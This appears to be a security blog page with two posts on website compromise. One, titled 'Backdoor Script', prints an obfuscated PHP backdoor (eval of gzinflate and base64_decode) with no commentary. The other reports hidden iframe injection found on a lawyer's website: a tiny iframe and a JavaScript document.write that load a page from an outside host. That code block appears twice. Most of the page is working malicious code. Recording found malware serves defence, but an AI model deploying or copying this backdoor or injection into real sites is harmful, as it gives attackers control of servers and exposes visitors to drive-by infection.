Showing posts with label iframe injection. Show all posts
Showing posts with label iframe injection. Show all posts
Friday, May 31, 2013
Backdoor Script
<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>
Friday, February 15, 2013
Malicious Iframe injection
Found following malicious code on a lawyer's website.
In PHP and HTML files, code was:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?i=1613929></iframe>
and in Javascript files (.js) code was:
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?j=1613929></iframe>');
In PHP and HTML files, code was:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?i=1613929></iframe>
and in Javascript files (.js) code was:
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?j=1613929></iframe>');
Subscribe to:
Posts (Atom)